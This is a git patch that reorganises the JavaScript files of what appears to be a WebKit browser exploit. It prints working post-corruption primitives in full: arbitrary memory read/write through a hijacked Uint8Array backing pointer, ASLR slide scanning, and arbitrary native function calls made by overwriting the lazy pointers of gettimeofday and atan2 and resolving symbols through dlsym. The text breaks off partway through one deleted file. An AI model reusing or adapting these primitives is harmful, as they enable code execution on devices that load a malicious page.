From d3350b4470514263b2eb281c027bc32aa15f1179 Mon Sep 17 00:00:00 2001 From: spv420 Date: Sat, 23 Apr 2022 18:24:13 -0400 Subject: folder --- src/js/call.js | 52 ------------- src/js/int64.js | 169 ----------------------------------------- src/js/lib/int64.js | 169 +++++++++++++++++++++++++++++++++++++++++ src/js/lib/libu8.js | 56 ++++++++++++++ src/js/lib/str.js | 113 ++++++++++++++++++++++++++++ src/js/lib/utils.js | 78 +++++++++++++++++++ src/js/libu8.js | 56 -------------- src/js/mem.js | 186 ---------------------------------------------- src/js/primitives/call.js | 52 +++++++++++++ src/js/primitives/mem.js | 186 ++++++++++++++++++++++++++++++++++++++++++++++ src/js/str.js | 113 ---------------------------- src/js/utils.js | 78 ------------------- 12 files changed, 654 insertions(+), 654 deletions(-) delete mode 100644 src/js/call.js delete mode 100644 src/js/int64.js create mode 100644 src/js/lib/int64.js create mode 100644 src/js/lib/libu8.js create mode 100644 src/js/lib/str.js create mode 100644 src/js/lib/utils.js delete mode 100644 src/js/libu8.js delete mode 100644 src/js/mem.js create mode 100644 src/js/primitives/call.js create mode 100644 src/js/primitives/mem.js delete mode 100644 src/js/str.js delete mode 100644 src/js/utils.js diff --git a/src/js/call.js b/src/js/call.js deleted file mode 100644 index c766b1a..0000000 --- a/src/js/call.js +++ /dev/null @@ -1,52 +0,0 @@ -var gettimeofday_lazy_addy = 0x34d63d3c; -var atan2_lazy_addy = 0x346afc84; -var reserve_addr = 0x1a0000; -var slide = 0x0; -var base = 0x0; -//var slid = 0x0; - -function get_dyld_shc_slide() { - return read_u32((slide << 12) + reserve_addr + 20); -} - -function call(addy) { - var dyld_shc_slide = get_dyld_shc_slide(); - var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide); - write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy); - var d = new Date(); - write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp); -} - -function call4arg(addy, r0, r1, r2, r3) { - var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); - var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); - - arg1d = arg1.asDouble(); - arg2d = arg2.asDouble(); - - delete arg1; - delete arg2; - - var dyld_shc_slide = get_dyld_shc_slide(); - - tmp = read_u32(atan2_lazy_addy + dyld_shc_slide); - write_u32(atan2_lazy_addy + dyld_shc_slide, addy); - ret = Math.atan2(arg1d, arg2d); - write_u32(atan2_lazy_addy + dyld_shc_slide, tmp); - - delete tmp; - delete arg1d; - delete arg2d; - - return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; -} - -/* - * call with symbol - */ -function calls4arg(sym, r0, r1, r2, r3) { - var dlsym_addy = read_u32(reserve_addr + 24 + slid); - var shc_slide = read_u32(reserve_addr + 20 + slid); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); - return call4arg(addy, r0, r1, r2, r3); -} diff --git a/src/js/int64.js b/src/js/int64.js deleted file mode 100644 index 1ef5910..0000000 --- a/src/js/int64.js +++ /dev/null @@ -1,169 +0,0 @@ -// -// Tiny module that provides big (64bit) integers. -// -// Copyright (c) 2016 Samuel Groß -// -// Requires utils.js -// - -// Datatype to represent 64-bit integers. -// -// Internally, the integer is stored as a Uint8Array in little endian byte order. -function Int64(v) { - // The underlying byte array. - var bytes = new Uint8Array(8); - - switch (typeof v) { - case 'number': - v = '0x' + Math.floor(v).toString(16); - case 'string': - if (v.startsWith('0x')) - v = v.substr(2); - if (v.length % 2 == 1) - v = '0' + v; - - var bigEndian = unhexlify(v, 8); - bytes.set(Array.from(bigEndian).reverse()); - break; - case 'object': - if (v instanceof Int64) { - bytes.set(v.bytes()); - } else { - if (v.length != 8) - throw TypeError("Array must have excactly 8 elements."); - bytes.set(v); - } - break; - case 'undefined': - break; - default: - throw TypeError("Int64 constructor requires an argument."); - } - - // Return a double whith the same underlying bit representation. - this.asDouble = function() { - // Check for NaN - if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) - throw new RangeError("Integer can not be represented by a double"); - - return Struct.unpack(Struct.float64, bytes); - }; - - // Return a javascript value with the same underlying bit representation. - // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) - // due to double conversion constraints. - this.asJSValue = function() { - if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) - throw new RangeError("Integer can not be represented by a JSValue"); - - // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. - this.assignSub(this, 0x1000000000000); - var res = Struct.unpack(Struct.float64, bytes); - this.assignAdd(this, 0x1000000000000); - - return res; - }; - - // Return the underlying bytes of this number as array. - this.bytes = function() { - return Array.from(bytes); - }; - - // Return the byte at the given index. - this.byteAt = function(i) { - return bytes[i]; - }; - - // Return the value of this number as unsigned hex string. - this.toString = function() { - return '0x' + hexlify(Array.from(bytes).reverse()); - }; - - // Basic arithmetic. - // These functions assign the result of the computation to their 'this' object. - - // Decorator for Int64 instance operations. Takes care - // of converting arguments to Int64 instances if required. - function operation(f, nargs) { - return function() { - if (arguments.length != nargs) - throw Error("Not enough arguments for function " + f.name); - for (var i = 0; i < arguments.length; i++) - if (!(arguments[i] instanceof Int64)) - arguments[i] = new Int64(arguments[i]); - return f.apply(this, arguments); - }; - } - - // this = -n (two's complement) - this.assignNeg = operation(function neg(n) { - for (var i = 0; i < 8; i++) - bytes[i] = ~n.byteAt(i); - - return this.assignAdd(this, Int64.One); - }, 1); - - // this = a + b - this.assignAdd = operation(function add(a, b) { - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = a.byteAt(i) + b.byteAt(i) + carry; - carry = cur > 0xff | 0; - bytes[i] = cur; - } - return this; - }, 2); - - // this = a - b - this.assignSub = operation(function sub(a, b) { - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = a.byteAt(i) - b.byteAt(i) - carry; - carry = cur < 0 | 0; - bytes[i] = cur; - } - return this; - }, 2); - - // this = a ^ b - this.assignXor = operation(function sub(a, b) { - for (var i = 0; i < 8; i++) { - bytes[i] = a.byteAt(i) ^ b.byteAt(i); - } - return this; - }, 2); -} - -// Constructs a new Int64 instance with the same bit representation as the provided double. -Int64.fromDouble = function(d) { - var bytes = Struct.pack(Struct.float64, d); - return new Int64(bytes); -}; - -// Convenience functions. These allocate a new Int64 to hold the result. - -// Return -n (two's complement) -function Neg(n) { - return (new Int64()).assignNeg(n); -} - -// Return a + b -function Add(a, b) { - return (new Int64()).assignAdd(a, b); -} - -// Return a - b -function Sub(a, b) { - return (new Int64()).assignSub(a, b); -} - -// Return a ^ b -function Xor(a, b) { - return (new Int64()).assignXor(a, b); -} - -// Some commonly used numbers. -Int64.Zero = new Int64(0); -Int64.One = new Int64(1); - -// That's all the arithmetic we need for exploiting WebKit.. :) diff --git a/src/js/lib/int64.js b/src/js/lib/int64.js new file mode 100644 index 0000000..1ef5910 --- /dev/null +++ b/src/js/lib/int64.js @@ -0,0 +1,169 @@ +// +// Tiny module that provides big (64bit) integers. +// +// Copyright (c) 2016 Samuel Groß +// +// Requires utils.js +// + +// Datatype to represent 64-bit integers. +// +// Internally, the integer is stored as a Uint8Array in little endian byte order. +function Int64(v) { + // The underlying byte array. + var bytes = new Uint8Array(8); + + switch (typeof v) { + case 'number': + v = '0x' + Math.floor(v).toString(16); + case 'string': + if (v.startsWith('0x')) + v = v.substr(2); + if (v.length % 2 == 1) + v = '0' + v; + + var bigEndian = unhexlify(v, 8); + bytes.set(Array.from(bigEndian).reverse()); + break; + case 'object': + if (v instanceof Int64) { + bytes.set(v.bytes()); + } else { + if (v.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(v); + } + break; + case 'undefined': + break; + default: + throw TypeError("Int64 constructor requires an argument."); + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function() { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Integer can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function() { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) + throw new RangeError("Integer can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + this.assignSub(this, 0x1000000000000); + var res = Struct.unpack(Struct.float64, bytes); + this.assignAdd(this, 0x1000000000000); + + return res; + }; + + // Return the underlying bytes of this number as array. + this.bytes = function() { + return Array.from(bytes); + }; + + // Return the byte at the given index. + this.byteAt = function(i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function() { + return '0x' + hexlify(Array.from(bytes).reverse()); + }; + + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function() { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + for (var i = 0; i < arguments.length; i++) + if (!(arguments[i] instanceof Int64)) + arguments[i] = new Int64(arguments[i]); + return f.apply(this, arguments); + }; + } + + // this = -n (two's complement) + this.assignNeg = operation(function neg(n) { + for (var i = 0; i < 8; i++) + bytes[i] = ~n.byteAt(i); + + return this.assignAdd(this, Int64.One); + }, 1); + + // this = a + b + this.assignAdd = operation(function add(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) + b.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a - b + this.assignSub = operation(function sub(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) - b.byteAt(i) - carry; + carry = cur < 0 | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a ^ b + this.assignXor = operation(function sub(a, b) { + for (var i = 0; i < 8; i++) { + bytes[i] = a.byteAt(i) ^ b.byteAt(i); + } + return this; + }, 2); +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function(d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Convenience functions. These allocate a new Int64 to hold the result. + +// Return -n (two's complement) +function Neg(n) { + return (new Int64()).assignNeg(n); +} + +// Return a + b +function Add(a, b) { + return (new Int64()).assignAdd(a, b); +} + +// Return a - b +function Sub(a, b) { + return (new Int64()).assignSub(a, b); +} + +// Return a ^ b +function Xor(a, b) { + return (new Int64()).assignXor(a, b); +} + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); + +// That's all the arithmetic we need for exploiting WebKit.. :) diff --git a/src/js/lib/libu8.js b/src/js/lib/libu8.js new file mode 100644 index 0000000..b619fd8 --- /dev/null +++ b/src/js/lib/libu8.js @@ -0,0 +1,56 @@ +/* + * turn a uint32_t into a little-endian 4 byte array + */ +function u32_to_u8x4(val) { + u8x4 = new Uint8Array(0x4); + + val_ = val >>> 0; + + u8x4[0] = ((val_ >> 0) & 0xff); + u8x4[1] = ((val_ >> 8) & 0xff); + u8x4[2] = ((val_ >> 16) & 0xff); + u8x4[3] = ((val_ >> 24) & 0xff); + + return u8x4; +} + +/* + * turn a uint16_t into a little-endian 2 byte array + */ +function u16_to_u8x2(val) { + u8x2 = new Uint8Array(0x2); + + val_ = val >>> 0; + + u8x2[0] = ((val_ >> 0) & 0xff); + u8x2[1] = ((val_ >> 8) & 0xff); + + return u8x2; +} + +/* + * turn a little-endian 4 byte array into a uint32_t + */ +function u8x4_to_u32(buf) { + u32 = 0x0; + + u32 += (buf[0] << 0); + u32 += (buf[1] << 8); + u32 += (buf[2] << 16); + u32 += (buf[3] << 24); + + return u32 >>> 0; +} + +/* + * turn a little-endian 2 byte array into a uint16_t + */ +function u8x2_to_u16(buf) { + u16 = 0x0; + + u16 += (buf[0] << 0); + u16 += (buf[1] << 8); + + return u16 >>> 0; + +} diff --git a/src/js/lib/str.js b/src/js/lib/str.js new file mode 100644 index 0000000..31621bf --- /dev/null +++ b/src/js/lib/str.js @@ -0,0 +1,113 @@ +/* + * currently unused (iirc) garbage + * basically just prints an address than the uint32_t there, and then +4, etc + */ +function prim_dump_u32(buf) { + s = ""; + + for (var i = 0; i < buf.length; i += 4) { + tmp = []; + + tmp.push(buf[i + 0]); + tmp.push(buf[i + 1]); + tmp.push(buf[i + 2]); + tmp.push(buf[i + 3]); + + s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); + s += ": "; + s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); + if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { + s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); + s += "\n"; + val = read_u32(u8x4_to_u32(tmp)); + if (val >= 0x1800000 && val < 0x1900000) { + buf = read_buf(val, 0x100); + s += (hexdump(buf, 8, 2, val, 8, "0x")); + } + } + s += "\n"; + } + + return s; +} + +/* + * pad str to n chars with c chars to the left +*/ +function pad_left(s, c, n) { + s_ = s; + + if (s_.length < n) { + s_ = c.repeat(n - s_.length) + s_; + } + + return s_; +} + +/* + * convert ASCII str to uint8array (unicode be damned) + */ +function str_to_uint8_buf(s) { + buf = new Uint8Array(s.length); + + for (i = 0; i < s.length; i++) { + buf[i] = s.charCodeAt(i); + } + + return buf; +} + +/* + * HOLY UGLY BATMAN! + */ +function hexdump(buf, cols, col_split, base, pad_base, base_prefix) { + s = ""; + if (buf.constructor != Uint8Array) { + buf = str_to_uint8_buf(buf); + } + + for (i = 0; i < buf.length; i += (cols * col_split)) { + cur_base = base + i; + s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": "; + for (j = i; j < (i + (cols * col_split)); j += col_split) { + for (k = j; k < (j + col_split); k++) { + val = buf[k]; + try { + s += pad_left(val.toString(16), "0", 2); + } catch (e) { + s += " "; + } + } + s += " "; + } + + for (j = i; j < (i + (cols * col_split)); j++) { + val = buf[j]; + + if (val < 0x20 || val >= 0x80) { + val = 0x2e; // period + } + + chr = String.fromCharCode(val); + s += chr; + } + + s += "\n"; + } + + return s; +} + +/* + * HEX SHIT + */ +function prim_hexdump(buf) { + s = ""; + + for (i = 0; i < buf.length; i++) { + val = buf[i]; + s += pad_left(val.toString(16), "0", 2); + } + + return s; +} diff --git a/src/js/lib/utils.js b/src/js/lib/utils.js new file mode 100644 index 0000000..361e71d --- /dev/null +++ b/src/js/lib/utils.js @@ -0,0 +1,78 @@ +// +// Utility functions. +// +// Copyright (c) 2016 Samuel Groß +// + +// Return the hexadecimal representation of the given byte. +function hex(b) { + return ('0' + b.toString(16)).substr(-2); +} + +// Return the hexadecimal representation of the given byte array. +function hexlify(bytes) { + var res = []; + for (var i = 0; i < bytes.length; i++) + res.push(hex(bytes[i])); + + return res.join(''); +} + +// Return the binary data represented by the given hexdecimal string. +function unhexlify(hexstr) { + if (hexstr.length % 2 == 1) + throw new TypeError("Invalid hex string"); + + var bytes = new Uint8Array(hexstr.length / 2); + for (var i = 0; i < hexstr.length; i += 2) + bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); + + return bytes; +} + +function hexdump(data) { + if (typeof data.BYTES_PER_ELEMENT !== 'undefined') + data = Array.from(data); + + var lines = []; + for (var i = 0; i < data.length; i += 16) { + var chunk = data.slice(i, i+16); + var parts = chunk.map(hex); + if (parts.length > 8) + parts.splice(8, 0, ' '); + lines.push(parts.join(' ')); + } + + return lines.join('\n'); +} + +// Simplified version of the similarly named python module. +var Struct = (function() { + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. + var buffer = new ArrayBuffer(8); + var byteView = new Uint8Array(buffer); + var uint32View = new Uint32Array(buffer); + var float64View = new Float64Array(buffer); + + return { + pack: function(type, value) { + var view = type; // See below + view[0] = value; + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); + }, + + unpack: function(type, bytes) { + if (bytes.length !== type.BYTES_PER_ELEMENT) + throw Error("Invalid bytearray"); + + var view = type; // See below + byteView.set(bytes); + return view[0]; + }, + + // Available types. + int8: byteView, + int32: uint32View, + float64: float64View + }; +})(); diff --git a/src/js/libu8.js b/src/js/libu8.js deleted file mode 100644 index b619fd8..0000000 --- a/src/js/libu8.js +++ /dev/null @@ -1,56 +0,0 @@ -/* - * turn a uint32_t into a little-endian 4 byte array - */ -function u32_to_u8x4(val) { - u8x4 = new Uint8Array(0x4); - - val_ = val >>> 0; - - u8x4[0] = ((val_ >> 0) & 0xff); - u8x4[1] = ((val_ >> 8) & 0xff); - u8x4[2] = ((val_ >> 16) & 0xff); - u8x4[3] = ((val_ >> 24) & 0xff); - - return u8x4; -} - -/* - * turn a uint16_t into a little-endian 2 byte array - */ -function u16_to_u8x2(val) { - u8x2 = new Uint8Array(0x2); - - val_ = val >>> 0; - - u8x2[0] = ((val_ >> 0) & 0xff); - u8x2[1] = ((val_ >> 8) & 0xff); - - return u8x2; -} - -/* - * turn a little-endian 4 byte array into a uint32_t - */ -function u8x4_to_u32(buf) { - u32 = 0x0; - - u32 += (buf[0] << 0); - u32 += (buf[1] << 8); - u32 += (buf[2] << 16); - u32 += (buf[3] << 24); - - return u32 >>> 0; -} - -/* - * turn a little-endian 2 byte array into a uint16_t - */ -function u8x2_to_u16(buf) { - u16 = 0x0; - - u16 += (buf[0] << 0); - u16 += (buf[1] << 8); - - return u16 >>> 0; - -} diff --git a/src/js/mem.js b/src/js/mem.js deleted file mode 100644 index 6c30376..0000000 --- a/src/js/mem.js +++ /dev/null @@ -1,186 +0,0 @@ -var shit_status = 0x144444; -var global_sptr_addy = 0; -var VECTOR_OFFSET = 0x10; -var sptr_size = 0; -var sptr_len = 0; - -/* - * read uint8_t - */ -function read_u8(addy) { - u8x4 = u32_to_u8x4(addy); - - /* - * `parent` is a Uint8Array of length 0x100. - * `child` is also a Uint8Array of length 0x100. - * `parent`'s `vector`, its pointer to where its data is stored, has been - * modified to point to the `child` object in memory. - * as such, accessing `parent` will allow for modifying the `child` object. - * - * the way this is used is by writing to `child`'s `vector` so it points to - * arbitrary memory. then, we can access `child`, and we now have arbitrary - * r/w - */ - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - return child[0]; -} - -/* - * read uint16_t - */ -function read_u16(addy) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - return u8x2_to_u16(child); - -} - -/* - * read uint32_t - */ -function read_u32(addy) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - return u8x4_to_u32(child); -} - -/* - * read a buffer - */ -function read_buf(addy, len) { - var buf = new Uint8Array(len); - - for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { - buf[cur_addy - addy] = read_u8(cur_addy); - } - - return buf; -} - -/* - * write a buffer - */ -function write_buf(addy, buf, len) { - for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { - write_u8(cur_addy, buf[cur_addy - addy]); - } - - return buf; -} - -/* - * write uint8_t - */ -function write_u8(addy, what) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - child[0] = what; -} - -/* - * write uint16_t - */ -function write_u16(addy, what) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - u8x2 = u16_to_u8x2(what); - child[0] = u8x2[0]; - child[1] = u8x2[1]; -} - -/* - * write uint32_t - */ -function write_u32(addy, what) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - u8x4 = u32_to_u8x4(what); - child[0] = u8x4[0]; - child[1] = u8x4[1]; - child[2] = u8x4[2]; - child[3] = u8x4[3]; -} - -/* - * get process slide - */ -function get_our_slide() { - for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { - if (read_u32((slide << 12) + 0x4000) == 0xfeedface) { - return slide; - } - } -} - -/* - * write str to addy - */ -function write_str(addy, s) { - for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) { - write_u8(cur_addy, s.charCodeAt(cur_addy - addy)); - } - - return s; -} - -function init_sptr_heap() { - var dlsym_addy = read_u32(reserve_addr + 24 + slid); - var shc_slide = read_u32(reserve_addr + 20 + slid); - write_str(0x150000, "malloc\0"); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); - global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0); - sptr_size = 0x1000000; - sptr_len = 0; - - calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0); - - return global_sptr_addy; -} - -/* - * sptr is meant to give you a pointer to a specified string - * remember your nul's! - */ -function sptr(s) { - if ((sptr_len + s.length) >= sptr_size) { - var dlsym_addy = read_u32(reserve_addr + 24 + slid); - var shc_slide = read_u32(reserve_addr + 20 + slid); - write_str(0x150000, "realloc\0"); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); - global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0); - sptr_size += 0x100000; - } - write_str(global_sptr_addy, s); - global_sptr_addy += s.length; - return global_sptr_addy - s.length; -} \ No newline at end of file diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js new file mode 100644 index 0000000..c766b1a --- /dev/null +++ b/src/js/primitives/call.js @@ -0,0 +1,52 @@ +var gettimeofday_lazy_addy = 0x34d63d3c; +var atan2_lazy_addy = 0x346afc84; +var reserve_addr = 0x1a0000; +var slide = 0x0; +var base = 0x0; +//var slid = 0x0; + +function get_dyld_shc_slide() { + return read_u32((slide << 12) + reserve_addr + 20); +} + +function call(addy) { + var dyld_shc_slide = get_dyld_shc_slide(); + var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide); + write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy); + var d = new Date(); + write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp); +} + +function call4arg(addy, r0, r1, r2, r3) { + var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); + var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); + + arg1d = arg1.asDouble(); + arg2d = arg2.asDouble(); + + delete arg1; + delete arg2; + + var dyld_shc_slide = get_dyld_shc_slide(); + + tmp = read_u32(atan2_lazy_addy + dyld_shc_slide); + write_u32(atan2_lazy_addy + dyld_shc_slide, addy); + ret = Math.atan2(arg1d, arg2d); + write_u32(atan2_lazy_addy + dyld_shc_slide, tmp); + + delete tmp; + delete arg1d; + delete arg2d; + + return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; +} + +/* + * call with symbol + */ +function calls4arg(sym, r0, r1, r2, r3) { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); + return call4arg(addy, r0, r1, r2, r3); +} diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js new file mode 100644 index 0000000..6c30376 --- /dev/null +++ b/src/js/primitives/mem.js @@ -0,0 +1,186 @@ +var shit_status = 0x144444; +var global_sptr_addy = 0; +var VECTOR_OFFSET = 0x10; +var sptr_size = 0; +var sptr_len = 0; + +/* + * read uint8_t + */ +function read_u8(addy) { + u8x4 = u32_to_u8x4(addy); + + /* + * `parent` is a Uint8Array of length 0x100. + * `child` is also a Uint8Array of length 0x100. + * `parent`'s `vector`, its pointer to where its data is stored, has been + * modified to point to the `child` object in memory. + * as such, accessing `parent` will allow for modifying the `child` object. + * + * the way this is used is by writing to `child`'s `vector` so it points to + * arbitrary memory. then, we can access `child`, and we now have arbitrary + * r/w + */ + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return child[0]; +} + +/* + * read uint16_t + */ +function read_u16(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x2_to_u16(child); + +} + +/* + * read uint32_t + */ +function read_u32(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x4_to_u32(child); +} + +/* + * read a buffer + */ +function read_buf(addy, len) { + var buf = new Uint8Array(len); + + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + buf[cur_addy - addy] = read_u8(cur_addy); + } + + return buf; +} + +/* + * write a buffer + */ +function write_buf(addy, buf, len) { + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + write_u8(cur_addy, buf[cur_addy - addy]); + } + + return buf; +} + +/* + * write uint8_t + */ +function write_u8(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + child[0] = what; +} + +/* + * write uint16_t + */ +function write_u16(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x2 = u16_to_u8x2(what); + child[0] = u8x2[0]; + child[1] = u8x2[1]; +} + +/* + * write uint32_t + */ +function write_u32(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x4 = u32_to_u8x4(what); + child[0] = u8x4[0]; + child[1] = u8x4[1]; + child[2] = u8x4[2]; + child[3] = u8x4[3]; +} + +/* + * get process slide + */ +function get_our_slide() { + for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { + if (read_u32((slide << 12) + 0x4000) == 0xfeedface) { + return slide; + } + } +} + +/* + * write str to addy + */ +function write_str(addy, s) { + for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) { + write_u8(cur_addy, s.charCodeAt(cur_addy - addy)); + } + + return s; +} + +function init_sptr_heap() { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "malloc\0"); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0); + sptr_size = 0x1000000; + sptr_len = 0; + + calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0); + + return global_sptr_addy; +} + +/* + * sptr is meant to give you a pointer to a specified string + * remember your nul's! + */ +function sptr(s) { + if ((sptr_len + s.length) >= sptr_size) { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "realloc\0"); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0); + sptr_size += 0x100000; + } + write_str(global_sptr_addy, s); + global_sptr_addy += s.length; + return global_sptr_addy - s.length; +} \ No newline at end of file diff --git a/src/js/str.js b/src/js/str.js deleted file mode 100644 index 31621bf..0000000 --- a/src/js/str.js +++ /dev/null @@ -1,113 +0,0 @@ -/* - * currently unused (iirc) garbage - * basically just prints an address than the uint32_t there, and then +4, etc - */ -function prim_dump_u32(buf) { - s = ""; - - for (var i = 0; i < buf.length; i += 4) { - tmp = []; - - tmp.push(buf[i + 0]); - tmp.push(buf[i + 1]); - tmp.push(buf[i + 2]); - tmp.push(buf[i + 3]); - 